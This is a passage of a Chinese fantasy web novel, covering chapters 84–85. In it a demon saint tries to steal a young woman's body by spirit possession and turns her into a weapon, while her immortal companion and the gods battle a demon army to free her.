可原来,小师叔的金身根本没有恢复,他只是用了术法伪造出一个假象,假象一直笼罩着他这副快要崩裂的躯体,残破的神魂。 霖娘和柳行云落下来,她骤然看到程净竹这副模样,她双目大睁:“程公子,你为什么会……” “小师叔,”积玉强行忍下哽咽,质问,“您是不是……从来都没有想过要取回神骨?” 程净竹身上多处伤口都是从祭台往幽隙深处下坠之时,被那些黑气不断穿身所致,阿姮被天衣人改造过,所以不受天衣神王的余威所扰,但它们是绝不会放过他的,程净竹勉强站直身躯,他的目光紧紧追着白符所化成的金光而去,他没有回头:“积玉,这些不重要。” “金身不重要,神骨也不重要,我从来不在乎,你也不要为我而可惜。” 他走到老树下,阵阵河风吹来,风中却依旧没有他想要的消息,那些金光消散了,它们根本找不到阿姮的踪影。 风卷落英,程净竹扬手猛然在腰间的法绳上用力一握,展开的银鳞锋锐的棱角将他手掌割出一道深深的血口子,血雾随风弥漫。 “小师叔您做什么!” 积玉红着眼眶飞步到他面前。 程净竹展开手掌,狰狞的伤口血流不止,他并指结出金印,浸满他的血气,化成金光飞散四方,他仰起脸,洁白的飞花乱舞,冷冷的河风拂过他苍白消瘦的脸颊: “我在找她。” 这世间,他心中唯一重要的,只有她。 第84章 第84章 下山这条路,程净竹走了整整…… 无尽的漆黑笼罩四方, 如簇的紫火飞悬,天衣大长老戟渊坐在一把轮椅上,垂首说道:“圣女,此法阵可隔绝一切感知, 如同身处虚无之中, 即便是那些所谓的神仙用他们那双神目, 也难以发现我们的所在,圣女何不趁此时机取出火种?” 大长老顿了片刻,没有听到圣女半分回音, 他又继续说道:“我们如今已身在赤戎, 只要将火种放入它真正的容器之中, 这容器便会是我们打开封印, 解救天衣神族的利器!” 大长老并无双目,只能循着圣女气息的方向, 他根本什么也看不见, 只忽然听得一阵“叮叮当当”的脆声,像瓷器轻轻的碰撞, 大长老拧起眉头, 按捺不住:“圣女?” 四方昏黑无尽, 紫火如灯点缀, 一片繁烟黑絮中, 一方朱红木案摆在其中,案上铜镜光华清凌,朱粉瓷盒数枚, 一只妆奁凌乱开着,明珰翠凤,环佩珠饰, 光映几案。 案前一少女端坐,铜镜映出她苍白的面容,一双暗红的眼眸神光寂灭,空洞无彩,青峨站在她身后,透过铜镜看见少女那张脸的同时,亦看到了自己的脸。 青峨原本秀美的面容悄无声息爬满紫色的裂痕,裂痕中交织着细细的血线,这种裂痕从她的脸庞,如蛛网一般蔓延过她的颈项,布满她全身。 血色的裂痕更衬她面色惨白如纸。 可她脸上并无什么多余的表情,她素白纤细的手指在案上挑拣一番,终于选定一只瓷盒,里面的妆粉颜色如初绽的桃花,她用指腹沾了点那细腻的粉末,坐在案角,双足轻轻晃荡着,她倾身将手指尖的妆粉一点,一点地涂抹在少女的脸上。 她很是耐心,明明是如此轻柔的举止,她手上的裂痕却一寸寸崩开,鲜血蜿蜒悬挂她腕底,她亦毫不在乎。 将瓷盒放回案上,她整只手已皮肉外翻,血肉模糊。 她手背的玉片映照少女的容颜,妆粉掩去过分的苍白,令她的肌肤白里透红,气血充盈,可谓艳丽尤绝,不可方物。 青峨微微一笑:“大长老,她并不是那么听话的东西,这一点,你也已经见识过了,不是么?” 说着,青峨的手指在一盒唇脂中点了点,鲜红的唇脂混合着她指尖的鲜血,被她一点一点涂在少女的唇上。 “圣女……这是何意?您不是说她是一件很有用的东西?” 大长老语气难免掺杂几分焦躁,他实在没有办法洞悉这位圣女半点心思,他不明白,如此一件利器便在眼前,圣女她……为何对这么一件东西有如此大的敌意! “大长老从前对我说,她这件容器需要放到人堆里经受世间一切恶欲的洗礼,方才能与火种交相辉映,发挥她最大的作用,”青峨收回手指,揉捻着指尖的红,却分不清那到底是唇脂,还是她的血,“那么大长老何不现在来瞧一瞧,她往人间这一遭,到底有多少收获?” 一直立在一旁的黑炻见圣女侧过脸来,他立即会意,走过去将坐在轮椅上的大长老推了过来,大长老没有说话,却抬了抬拐杖,一道暗光飞出,刹那钻入镜前少女的眉心,大长老凝神片刻,眉头逐渐皱成川字,他蓦地睁开眼皮,露出两个空洞的眼眶:“这……怎么可能呢!” 她竟然觉得快乐? 哪怕偶尔的痛苦,亦无法改变她自始至终的那份快乐。 大长老的秘法可感知世上一切生灵的喜怒哀乐,凡人的爱恨,妖魔的贪嗔,都基于他们的欲,痛苦,怨恨,贪婪,执着是催生无尽恶欲的法门。 而快乐,是无法催生任何恶欲的! “依照神王谕令所示,天衣炼器师倾尽所有为她锻造嗜血的本能,嗜杀的本性,她理所应当会亲近一切恶欲!她本该痛苦,本该怨恨!本该想尽一切办法来填她无尽的欲壑!她竟然觉得快乐?谁准许她快乐!” 大长老惊怒交加,以至于脸颊松弛的皮肉都颤动起来。 “大长老笃信父王座下炼器师,真以为这东西有那么好用,”青峨一笑,脸上的裂痕更重,她一张完整的脸皮仿佛时刻都有可能四分五裂,“可那些炼器师若真是无所不能,又为何始终无法磨灭这东西的神魂呢?” 青峨的手指轻轻拂开面前少女额角的浅发,端详着她因鲜红的唇脂而更加明艳的脸庞:“她的神魂就像是一簇烧不尽的野草,炼器师无论撕碎她多少回,一旦等到她的春日,她还是会冒出碍眼的短茎,为她锻造嗜血的本能,本就是炼器师们因为几次三番也消磨不掉她的这副神魂而妥协的结果,她本来就不是什么举世无双的利器。” 而本该是,如她一般的残次品。 明明同样是残次品,可笑的是,父王,大长老,乃至整个天衣神族全都固执地将希望寄托于这件名为“阿姮”的容器身上。 铜镜静静映照少女的脸,如同披着一张人皮的傀儡,她光艳的外表下尽是僵冷的死气,青峨勾了勾手指,少女的右手便缓缓扬起,轻轻抚摸起自己乌浓的鬓发。 青峨手背的玉片冷光粼粼,她看见少女左边原本空空的衣袖中不知何时已凝聚起泛着银光的水泽,如一只半透明的手臂:“大长老,你看不见她,你不知道她有多特别,我们天衣人虽拥有紫目神窍,却一直无法堪破血肉再生的法门,而她明明什么都没有,不过是一团虚无的气而已,却偏偏无中生有,甚至断臂也能再生……” 大长老的神情一瞬凝滞了。 “这……” 他早失双目,连想象也无法想象这件容器到底是如何生出血肉,甚至断臂再生,他不由怀疑:“难道……神王的炼器师其实已经参透其中的法门?” 谁知道呢? 神王已死,赤戎那座神山底下的任何声息,他们都无法探知,而从前大长老所接收到的神王谕令亦未提及半个字。 “那根本不重要,大长老。” 青峨坐在案角,她徐徐转过脸,循着大长老的方向,紫火映照她整张清癯的脸,血线如蛛丝满布:“还记得父王给你的最后一道谕令么?那也是我如今要你做的事。” 青峨这副身躯生来孱弱,东海之下,她催动神通与那些神仙斗法,胸中的紫目神窍因沸腾的火种而时刻都在爆裂的边缘,此刻,她的皮肉正在一寸寸皲裂,鲜血几乎将她衣襟染红了,她却全然不在乎。 神王的最后一道谕令? 大长老眉心一跳,莫非圣女她是想…… 鲜血顺着青峨的衣摆滴滴答答,她手背的玉片对准了大长老,此时,并无人注意到端坐镜前的少女那双空洞无神的双目有一瞬亮起华光。 自大长老扯着嗓子嚷嚷什么快乐不快乐之时,阿姮便恢复了神志,她正有些迷茫,却发现自己这双眼已经能够视物,冷不丁一眼望向面前铜镜中的自己,她差点瞪直眼珠子。 镜中人乌髻若云,脸上妆粉淡薄,却偏偏唇脂鲜红得像沾了一嘴的血。 连她身上也换了身黑纱白裙,她僵直着身躯坐在镜前没有显露分毫端倪,乱云般的裙摆堆积在脚边,不动声色地听着青峨与大长老的全部对话。 大长老在意会圣女口中的那所谓神王最后一道谕令,阿姮亦在瞬息之间察觉到青峨藏在话锋下的真正意图。 若老神王的最后一道谕令是指他的复生计划,那么东海龙王的躯体便是这个计划中最重要的一环。 阿姮凝视着镜中映出的青峨的半边背影,她松垂的发髻下,头皮早已裂开一道又一道血红的裂痕,鲜血浸湿她的发,沾染她的领,她那截纤弱的后颈皮开肉绽,仿佛那颗稚嫩的头颅随时都有可能掉落。 难怪,青峨浑身都要裂了,还有闲情在这儿打扮她。 这品味极差的妆粉,唇脂,甚至衫裙,都不是为她准备的,而是青峨为她自己准备的。 “大长老认为不可行?” 青峨久未等到大长老的回应,轻抬起眼皮,露出两个血红的眼眶。 大长老斟酌着开口:“卑下只是在想,她本是作为一件容器而存在,您若是占了她的身躯,那她……” “我连你哥哥的紫目神窍都能接受,又如何不能接受这东西的一副皮囊呢?”青峨削尖的下巴微抬,仿佛纡尊降贵,满不在乎,“若夺舍成功,我占了她这副皮囊,她的神魂必定会因为夺舍之术而再度被碾碎,她那神魂再是能长,也没有办法在短时间内长出来,不是么?她的真身失去神魂,才是火种最好的容器,是我天衣最利的杀器,不是么?” 器物,本不需要自我。 没有自我的器物,才最是趁手。 大长老拢紧的眉头一瞬舒展,垂首:“圣女英明。” 青峨手腕一转,碧绿的玉片映照面前的少女,她兀自端坐,僵硬的手指仍在一下一下的对镜理鬓,青峨望着她,如同望着一件她为自己精心裁剪的衣衫。 此时,忽然一阵清风不知从何处吹来,风中隐约一缕清淡的,芳香的血气。 融在无尽昏黑中的妖魔骤然尖啸沸腾,多少张狰狞的,贪婪的面孔从虚幻中显现,他们叫嚣着,流下贪婪的口涎,情不自禁为血气中的精纯清气而沉迷。 青峨抬袖一挥,紫火轰然撞向妖魔兴奋的脸孔,妖魔们发出惊恐的呜咽,重新融入昏黑之中。 她借手背玉片观面前少女,只见她那双暗红的瞳似乎涣散,喉咙难耐地吞咽,青峨笃定:“是白泽,除了他,没有任何人的炁能入我天衣法阵,阿姮姑娘,他似乎在找你。” 少女没有任何反应,只是本能使她唇焦口燥,双眼血红。 青峨转过脸,对大长老说道:“我们必须快一点,在白泽找到这里之前,我必须先占了她的这副皮囊。” 青峨浑身是血,阿姮却嗅不到任何味道,也许因为她的本能由天衣人塑造,天衣人趋利避害,所以他们的血并不会驱使她嗜血的本能,也因此,风中的那缕血气来得实在太令人猝不及防。 如同一片羽毛轻轻擦过她的鼻息。 她浑身汗毛倒竖,本能令她那样难捱,若非天衣咒印在身,她无法驱使自己的四肢,她只怕早已顺从本能,循着这一缕血气,飞快地化成一缕雾回到小神仙的身边,贪婪地缠绕他的伤口。 阿姮忍不住又轻轻地嗅了嗅。 她纹丝不动地望着镜中的自己,她的这副壳子是小神仙用天上的银汉水造成的,她胸腔里的那颗血肉心脏是她好不容易得来的,只属于她自己的东西。 青峨想要?没那么容易! 僵硬的指节仍在重复地抚摸鬓发,发髻边凤钗垂下的珍珠流苏颤颤巍巍,在东海之下先一步融入阿姮血脉中的万木春悄无声息于她识海中凝聚成形。 她心念一动,万木春却颤动着,停滞不前。 她的意志却烈如强风,裹挟万木春化成一枚金刺,猛然扎入她的元神之中。 金刺展开千丝万缕,交织成网,徐徐包裹住她整个元神。 如墨的烟气在幽冷的紫火下浮动,阿姮端坐镜前,明妆乌髻,艳如桃李,鲜红的血液倏尔自她眼睑,耳孔,唇缝流淌而出。 十二金阙的诸神与四海龙王领着众玄门、水兵方入赤戎,却发现那天衣圣女与追随她的千万妖魔竟凭空消失了。 诸神穿梭于整个赤戎,四海龙王号令水兵四处搜索,这片安静许久的黑水黑山一时间天翻地覆。 霖娘扶着身受重伤的柳行云,他胸口的血洞是何罗鱼指甲化成的金钉所致,没那么容易愈合,他扶着胸口,目光追随天边若流火般落去山野的神明,他望见那片破败的村舍,有些发愣:“……他们呢?” 所有的村邻呢? 霖娘随他迷茫的目光望去,说:“柳郎,他们早就离开这里,去外面的世界了,如今,都已经自由了。” 离开这里……去外面了? 自由了? “那……青骨病呢?” “正如你所想,青骨病根本不是一种病症,他们是因为常年开凿璧髓才会变成那样,”霖娘说着,望向河边的那个少年,“璧髓不是假山神的恩赐,而是真神明的骨,他们是因为肉体凡胎无法承受神力才会产生畸变,但如今他们都没事了,他们是同我一起离开赤戎的,如今,天南海北,都自由了。” 柳行云紧紧握住霖娘的手,片刻,热泪浸满眼眶,他颔首,轻声道:“那就好,那就好……” “小师叔,我去找阿姮,就算将整个赤戎翻过来,我也要找到她!” 积玉的声音忽然响起,霖娘立即看过去,只见积玉紧紧地抓着程净竹预备再次结印的那只手,霖娘连忙说道:“程公子,我和积玉一起去找阿姮,这里曾是我家,没有人比我更了解这里,我们,我们一定会找到阿姮的……” “天衣圣女设下法阵,连诸神也难以察觉他们的声息,”程净竹缓缓挣脱开积玉的手,并指沾染血气,凝出金印,推入天际,“你们找不到的。” 河风呼啸,慈济真君与药王殿殿师阳钧先后落来黑水河畔。 阳钧雪白的拂尘缠住程净竹不断画印的那只手,他快步上前,沉声:“小师弟,你不要命了吗!” 茫茫白雾中,少年转过脸来,满襟是血,对于阳钧的质问无动于衷。 “逆徒。” 慈济真君一声叹息,走上前去,他端详着少年秀整的眉目,苍白的面容,凌乱的鬓发,不免想起当年在上清紫霄宫药王殿的某一夜,他忽然察觉到精纯清气的触碰,便知道,自己即将飞升上界。 他连夜赶去探望他的这个小徒儿。 小小一个孩子,在一盏灯烛下翻书,隔窗听到他说飞升成神的事,那张稚嫩的面容上也没有半分动容,慈济真君觉得自讨没趣,摸了摸鼻子准备走,却听见窗内,徒儿忽然问他:“师父,我何时才能下山?” 慈济真君回头,小小的影子映在窗上,岿然不动。 他叹了口气,挽袖转身: “十七岁,等你到了十七岁,若你这副身躯能结成金身,你便可以下山。” 今日,慈济真君仔细端详着阔别多年的小徒儿,他已然十七岁了,长成个少年模样,再不是当初那样小的一个孩子。 “净竹,我知道,你做人的这些年来,从来都不开心。” 慈济真君说道:“你在外面,她在赤戎,你越是自由,便越是反复想起她的不自由,你一直为此而痛苦。” 他那样寡言,冷漠,慈济真君曾听他问过最多的话,便是何时下山,慈济真君只回应过他一回,从此师徒天上人间永相隔。 慈济真君当然知道徒儿反复询问的下山,到底意味着什么。 而他这副活人命,死身躯,只有结成金身,才能稳固神魂,只有神魂稳固,才能动用他的能力去辨炁,辨别这个世界与赤戎之间微妙的联系。 下山这条路,程净竹走了整整十七年。 第85章 第85章 “我会让你把她还给我的。”…… 幻境昏黑如瑿, 少女端坐如旧,以手抚鬓,珠光滢滢,映于颊侧, 宛若流霞。 “大长老, 开始吧。” 青峨起身, 望向那少女。 夺舍并非是那么轻易可成之事,其中繁复,唯大长老心知肚明, 眼下情形分明不是夺舍的最佳时机, 可圣女若不取出紫目神窍中的火种, 她的皮囊很快便会被撑破, 而那容器……大长老感受着那少女的方位,眉心紧拧。 诚如圣女所言, 若无意外, 这容器本该恶欲缠身,浑无本我, 如今却出了这样的岔子。 “卑下领命。” 大长老俯身, 随即手中拐杖往地上重重一杵, 拐杖化为一簇幽光, 随他所指, 分裂为两束,分别钻入那少女与青峨的眉心。 悬空的紫火下坠,烧成一个法阵, 青峨与那少女一站一坐处于阵中,大长老双手结印,对青峨道:“圣女, 夺舍之法本该在子时阴气最盛之时,极阴之地进行,如今却没有那些功夫打算这些了,卑下只有先将您的魂魄引出,再撕开她的识海,您一定记住,她识海裂隙产生的刹那,您定要抓住这瞬息之机!” 青峨颔首不语。 幽冷的光在她眉心闪烁,她缓缓展开双臂,任由神魂在大长老低低的念咒声中被寸寸剥离,她的毫不抵抗,令她的魂魄很快离体。 因她是天衣神王的血脉,她的魂魄便是她的紫目神窍,那神窍散发着浓烈的黑气飞旋而出,唯剩她那副碎纸般孱弱的躯体依旧站立,僵如死尸。 大长老并指,冷光滑过他凹陷松弛的眼皮:“阴阳相错,倒转紫府,形骸既脱,灵肉永隔……” 大长老苍老的声音不断钻入阿姮的耳中,她坐在镜前岿然不动,死守神志,努力克制着自己不去听他说出的每一个字。 大长老说什么“阴阳相错”,她在想霖娘如今在哪儿,是在东海,还是也回到了赤戎。 大长老又说“倒转紫府”,阿姮想积玉是否也在赤戎。 “形骸既脱,灵肉永隔!” 大长老沉声重复。 阿姮又想方才那一缕芳香的血气,那是小神仙的血,她想他一定是故意的,当初在赤戎,他也是这样引诱她,找到她。 可惜。 “形骸既脱,灵肉永隔!” 大长老的声音伴随他扎入她眉心的那一缕幽冷的光深扎阿姮的识海,识海之中,万矢如雨齐发,猛烈地撞击着她元神外裹覆的金光。 铜镜映照阿姮那样一张平静死寂的脸,鲜血又从她唇缝徐徐流淌。 可惜,这一回,她没有办法回去他的身边了。 大长老每一声重复的咒,都像嵌入她血肉里的弦,他一声声拨动那弦,一寸寸撕裂她的灵与肉,命令她,不要留恋,不要挣扎,不要以你卑微的蚍蜉之身,违逆主人的意志。 要听话。 献出你的血肉之躯,碾碎你本不该存在的神志。 从今以后,回到你原本的位置去,做一件法器,一件容器,将你的一切毫无保留地奉上吧,那本是你的使命。 识海之中天翻地覆,铜镜里,阿姮的脸时而清晰,时而模糊,她识海中每一道箭雨都是一道大长老精心描绘的破神符,无休无止地冲击着她的元神,大长老逐渐有些体力不支,但他不敢有丝毫放松,夺舍之术本就复杂,若他一道破神符没画好,便会功亏一篑,他满头冷汗,勉强稳住发抖的手,侧过脸:“黑炻,快,扎她眉心!” 黑炻闻言,手中刀“噌”的一声出鞘,刀锋用力划过少女的眉心,皮肉剖开一道血口,鲜血如线,顺她鼻梁点滴而落。 “圣女!” 大长老维持着结印的手势,大喊一声。 那副悬空的紫目神窍立即化成一道流火猛地往那少女眉心的伤口里钻,每钻入一寸,铜镜中少女的影子便淡薄一分。 少女周身忽有风起,那风吹来,大长老结印的手越发颤抖,他心中一惊,这东西的神志竟然如此坚韧! 他咬紧牙关,双足勉强稳住身形,念起咒来,那声音落到少女耳边,却成了许多她最熟悉的声音: “阿姮,是你杀了小山!” 这是霖娘的声音。 “人与妖,本就是不同路的,何况,你本是天衣人的东西,我其实从来不曾相信过你!” 这是积玉的声音。 识海震荡,浪涛千重,阿姮根本没有办法不去听这些声音,每一个字都是那么轻易地往她脑海里钻。 “不,我没有杀小山!” 镜中影动,她的五官越发朦胧:“你们知道,你们明明知道……” “可你想要夺走我的心脏,不是么?” 耳中,那声音冷得像一场淋漓的冬雨,是多么平静的质问。 镜中,阿姮的五官凝住了。 她鲜红的唇一动:“我……” “你想说你没有?”那声音徐徐,“阿姮,你真的没有吗?” 有过。 曾经真的有过,不止一次有过。 “可是我……” “你有过,便是不可饶恕。” 那声音按住她胸中所有慌张的解释,又轻又缓地下了个判决。 镜中,阿姮的脸又模糊一分。 可是我……再也不想要你的心脏了,我也不会再要任何人的心脏……这样也不行吗?因为我有过这样的念头,所以霖娘怨我,积玉不信我,连你……也不要我了吗? 耳边再也没有任何声音,她听不到任何想要的回应。 流火趁机往她眉心再深扎一寸,血肉发出轻微的闷响,鲜血弄花了她的脸,铜镜中,她的面容越来越模糊。 “阿姮,他们根本不值得你为他们产生一切的怜悯,包容,甚至是……爱,凡人的爱,是最没用的东西。” 青峨的声音随那流火钻入她的脑海。 “在小山之前,我杀过很多人,有人像他一样想做我的朋友,也有人做过我的爱人,他们很喜欢用所谓一生来丈量与我之间的‘情’,朋友之情,男女之情,可这些东西本就是弱者妄图施加于强者的束缚,他们不过是想用所谓的‘情’来控制你,驯服你,使你生惭,生怖,生忧,生出无数不忍……可这些东西,只会让你变得不自由。” “你天生是我们的东西,今日,你的皮囊注定成为我的皮囊,你的真身,注定握在我手中,成为我的利刃。” “接受你的使命,阿姮。” 流火如刀,深嵌少女眉心数寸,鲜红的血染红她的眼睑,迸溅在铜镜之上,镜中她的面容越来越淡薄,几乎融成一团阴影。 使命? 识海中,包裹住阿姮元神的金光暗淡下来,发出冰裂之声。 阿姮的意识变得迟缓,这是青峨对她的压制,她十分艰难地挪动思绪,她想自己来到这个世上…… 眉心剧痛难忍,意识越发淡薄。 什么来着? 大长老手指又结出一道破神符,少女眉心的流火只剩下一寸尾巴,冷光映照他一张满是汗水的脸,他毫不犹豫地将那破神符推出,破神符顿时在少女识海中化成万千流矢,卷风破浪,以吞天之势,扑向那被金光包裹的元神。 流火兴奋地燃烧着,用力往血肉里钻。 少女血红的眼大睁,不禁仰首,发出痛苦的哀叫,鲜血混合她眼睑积蓄的泪,垂下脸颊,大长老并指又描画起一道破神符,喝道:“蠢物!圣女有所请,你怎还敢有所执?快快脱去形骸,放下一切!” 铜镜中,几乎连她的影子都要映不出。 正是此时,忽有霹雳一声,仿佛颠簸山岳般的声势,狂风席卷整个昏黑的幻境,大长老顿时一阵目眩,描画破神符的手指一颤,符咒一笔勾错,破碎成烟,也是此刻,那少女识海中欲发的万千流矢顷刻消融,大长老定睛一看,那流火凝滞在少女血红的眉心,剩条尾巴怎么也钻不进去。 “圣女,法阵将破,夺舍之法怕是不成了,您快出来!” 大长老喉咙浸满血腥味,他肃声喊道。 出来? 深嵌在少女眉心的流火岿然不动,明明她就要触碰到这东西的识海了,只要她破开她的识海,便能吸尽她的精气,撕碎她的元神! 流火烧得更盛,猛然往少女眉心血肉里钻,巨大的冲击几乎要令少女的颅骨就此开裂,鲜血浸湿她乌黑的鬓发。 此时,法阵之外,四条巨龙盘旋于天,龙吟烈如箫管,搅动阴云重重,引来狂风阵阵,那慈济真君悬身空中,衣袖感受风的流向,双目下视,盯住那片云淡风轻的山坳:“天衣妖孽果然在此!” 慈济真君一眼望见底下那黑衣少年,四周狂风漫卷,唯那山坳幽寂无声,他并指于空中描画一道金印,推向一片淡烟薄雾之中,金印消融的刹那,他的银尾法绳飞出去,刺破迷雾,刹那无踪,慈济真君与诸神几乎同时施法,降下数道金光,追随银尾法绳消失的方向而去,崩雷暴裂般的巨响震痛众人耳膜。 紧接着,烟雾渐渐散去,千丝万缕的黑气显现,那正是天衣大长老将万千妖魔化成黑气,借他们的身躯交织而结成的法阵,以此暂避虚无之间。 法阵已破,黑气胡乱盘旋升空,妖魔嘶叫着。 繁烟黑絮中,一张朱案,一面铜镜,那黑纱白裙的少女正坐镜前,她仰着纤细的颈项,血肉模糊的眉心涌出的鲜血斑驳她的衣襟。 一缕流火燃烧在她眉心的裂口之中,狂风拂乱她鬓边浅发,风中熟悉的,芳香的血气迎来,少女端坐,鼻尖微微一动,她喉咙本能地吞咽一下,沾了血的眼睫轻轻一颤,她双目映出密密麻麻的人影从四面八方来。 那么多模糊得像山廓的影子中,那黑衣少年疾步而来,数步开外,他蓦地定住,那双冷冽的眼瞳似乎震颤,瞬息与她相视。 阿姮意识清晰的刹那,她眼中映着那少年的影子,方才断裂的思绪接续起来,她想起自己来到这个世上,根本不为任何使命。 灼烧着她眉心血肉的流火猛然又深扎半寸,阿姮双目顿时神采破碎,霖娘飞奔而来正见如此一幕:“阿姮!” 积玉的金剑擦风而过,幻化数柄,直逼天衣大长老而去,大长老一手打在轮椅扶手上翻身而起,数名天衣混血显现身形,将大长老托于轿上。 程净竹飞身掠去,银尾法绳立即落入他手,挥向那僵直站立的青峨的躯体,黑炻扬刀,刀锋擦过法绳寸寸银鳞,带起阵阵火光。 程净竹反身悬于半空,并指凝结出一道金印,正是此时,底下那少女颈间一粒幽蓝的宝珠骤然散发华光。 明净的华光几乎朗照整片天地,强大的气流扑散开来,深刺少女眉心的流火被这种极致干净的炁冲散出来,此时,慈济真君与诸神破开妖魔的围护,降下道道威压,那流火却幻化成一副紫目神窍,在铺天盖地的金光中毫发无损地落回那副碎纸般的躯体里。 焰光招摇,那副僵死的躯体顿时骨节咯吱作响。 “白、泽。” 青峨脸色十分难看,扭曲到脸皮裂开几寸,鲜血直流。 狂风乱卷,朱案翻,铜镜落,破碎的镜中再度映出少女清晰的影,颈间那粒宝珠烫得出奇,几乎快要将阿姮的皮肤烫破了,她被这滚烫唤回意识,下意识抬眸,茫茫风雾中,那少年长衣乱拂,一根银亮的法绳在手,向来整齐的发髻不知为何已经散了,银发散垂,随风而动,金色的裂纹沿着他的颈项爬上他的脸颊,眼睑缓缓浸出血来,他下视青峨,声如寒霜:“天衣妖孽,想要她的皮囊,你也配?” 夺舍之术已被打断,两束幽冷的光自青峨与阿姮的眉心回落大长老手中,化成拐杖,他在轿辇上肃声喊道:“圣女!若您再不取出火种,您的身躯一定会四分五裂的!” 青峨的这副躯体实在孱弱极了,仅仅只是夺舍之术被打断,她神窍重回躯体所造成的冲击也使得这副躯体无法再支撑下去,虽说她没有躯体,亦可借器而生,可她来到赤戎,是为了解除封印释放天衣神族,光复天衣的,没有身躯,她根本无法施展全部神通。 “圣女!一切都是为了天衣大业!” 大长老说道。 青峨抿紧唇,诸多不甘,怒火盈满她的胸腔,她勾了勾手指,紫色的符纹顿时爬满阿姮的颈项,她手背玉片映照那少年更加沉冷的神情,青峨冷笑:“白泽殿下,你最好别过来。” 青峨指节一屈,符纹绞紧阿姮的颈项,裂开数道血口子,程净竹身形一滞,攥着法绳的手一刹收紧,指节泛白。 “她本就是我们的东西,是我天衣炼器师赋予她本能,铸造她的本性,”青峨说着,手背缓缓转向阿姮,玉片映照阿姮的模样,“她本该以世间一切恶欲为食,是你们助长她那副可恶的神魂,是你引诱她……殿下,她这身血肉是因你而有的么?是你……让她爱你,对吗?可是殿下,她既不是人类,也本非生灵,你要一个死物爱你,你要她拥有这副血肉之躯,却没想过,血肉究竟带给了她什么?像这样,流血,受伤?殿下,是你让她变得这么脆弱,这么的……可怜。” 那些化作黑气盘旋在天的妖魔们肆意大笑起来,仿佛在嘲笑那名为“阿姮”的器物,竟也妄想血肉在身,便是生灵? 程净竹扬手,冷冽银光一闪,法绳抽散数道盘桓的黑气,激起一片妖魔的惨叫,法绳穿破黑气,直逼青峨面门。 青峨侧过脸,幽幽紫火轰然盛大,铺开的气流顷刻将法绳推远。 法绳落回程净竹手中,他双目严寒,四下一扫:“很好笑吗?你们这些自以为是的蠢东西,虽是生灵,却甘为恶欲附庸,若说死物,你们才是。” 他的目光定在青峨身上:“她早就拥有一副洁净的元神,是你们一次又一次撕碎她,践踏她,剥夺她作为生灵的自由。” “自由?” 青峨笑起来,笑得胸腔都开裂,她一顿,手背碧绿的玉片使她清晰地看见自己血红的衣襟,她脸上的笑容消失了,瞬息之间,她指节用力,紫色的符纹深嵌阿姮体内,密密匝匝地困住阿姮的混沌真身,阿姮暗红的双眸顿时更加空洞。 青峨的胸腹出现一道裂隙,幽冷的紫芒映照她惨白的脸,两枚火种互相环绕着飞旋而出,此时,青峨开裂的脸皮顿时愈合,她身上所有的裂口也都开始结痂。 她手指一扬,两枚火种瞬息侵入阿姮的胸腔,黑色的气流如云一般兴奋地环绕阿姮,青峨抬手缓缓擦去阿姮脸上的血,如同即将要上战场的将军那样细致地擦拭自己的宝刀,她向着阿姮,说:“阿姮姑娘,你想要自由吗?做我的东西,凭你自己的欲望而活,不为任何凡人所谓的‘情’而犹疑,痛苦……追逐你的本能,享受你欲望,这便是真正的自由。” 阿姮听不见。 因为她已然是一件器物,而器物,是不该有本我的。 青峨回首,她手背的玉片映照这天上地下诸神与玄门、水族密密麻麻的影子,风声呼啸,她望向那少年:“白泽殿下,今日,我便让你们好好看一看,她本该是什么样。” 冷雾忽然弥漫,青峨睁着一双血红的眼眶,她尚有些稚嫩的声音轻哼:“残月下,已三更,借尔影,秉吾道,幽契生,跗骨存……” 阴冷诡谲的曲调幽幽落于众人耳侧。 茫茫白雾中,程净竹看到那端坐的少女随青峨的声音缓缓起身,她的举止几乎全由青峨的声息拨动,如一把蓄势的弓,主人不搭利箭,她便绝不妄动。 “阿姮……” 凛风吹痛霖娘的脸颊,她遥遥望那少女,轻声喃喃。 青峨笑,少女亦笑,沾血的脸,那样光艳。 青峨旋身而起,如一只轻盈的蝴蝶:“凡我信徒,且听我令,凡人的神给不了尔等永生,亦无法容忍你们渴望的自由,但这些,我天衣神族都能给你们……今日,我要你们不惜一切代价助我解开封印,释放我天衣神族,重现天衣荣光!” 妖魔得此号令,万千黑絮顿化无数妖魔真身,那何罗鱼显现出庞大的身躯,手中长戟一挥,妖魔的嘶吼哜哜嘈嘈,铺天盖地冲破迷蒙雾色而去,冲入那片由四海水兵与天下玄门织就的一片密影里。 满天诸神不容他们身为妖的天性,妖生来便被高高在上的神审视,防备,惩治,神仙动一动手指,无上威压自可轻易压断他们的膝盖,让他们像蝼蚁一样道行破碎,魂消魄散。 今日,是千载难逢的改写宿命之机。 圣女所指,即为万妖之道。 他们浩浩汤汤踏上那条道去,誓要撕裂这天,踏破这地。 四海龙王发出龙吟,风云既变,万壑惊雷落,天上地下浑浊一片,四海水兵得龙吟号令,一时冲杀之声震天。 赤戎不过三界边缘小小一隅,如今却承接起世间最烈的一场战争,慈济真君率领诸神连降数道金光,属于神明的强大威压却被从万妖身中喷薄而出的黑气轻轻抵消,慈济真君一挥衣袖,一双神目扫向那片风烟之中。 程净竹手挽法绳,银鳞锋锐的棱角刺破一妖的颈项,他忽然胸口震痛难止,不禁吐出一口血来,生出满鬓冷汗,他感觉到体内的两枚火种正在叫嚣。 “小神仙。” 脑海里,这道轻快的声音触碰他的神识。 程净竹眼睫一动,目光下意识自眼前这妖孽后背飘浮而去的那一缕黑气望去,强风吹拂那少女雪白的裙角,她岿然立在那里,自四面八方而来的黑气千丝万缕地侵入她的身躯,她那双无神的红眸,遥遥与他相望。 “何必再做什么神仙呢?你也不该和他们站在一起……当初,明明是他们让你孤立无援,是他们害你一副神骨全压在那座山中,年深日久的与那座山长在一起,他们以一个苍生的名义逼你,在你什么都不明白的时候便逼你入绝境……” 风雾中,那少女分明眼眉阴冷,纹丝未动,程净竹的脑海中却填满她的声音: “天帝,他以父亲的名义逼你,利用你,你以为你来到这个世上备受期许,但其实,你只是他用来镇压天衣人的工具!” 她说:“小神仙,来我身边,和我站在一起,我助你取回神骨,放下你所有的责任,从此,我们都自由自在……好不好?” 程净竹闭了闭眼,扬手抽回法绳,眼前妖孽一颗头颅滚落,鲜血迸溅在他苍白的脸颊,他勉强抬起眼,那少女仍在妖魔堆里,那双眼像在望他,又像是无情地望着所有人。 体内的两枚火种未能勾起他半分情绪,少女的声音撕裂成非人的尖啸,它们是那么渴望这战场上纵横的恶欲,可程净竹以镇坛木将它们封印在体内,使它们无法放肆享用那些美味的恶欲,更无法回到它们最好的容器之中。 “她在吸取妖魔的恶欲。” 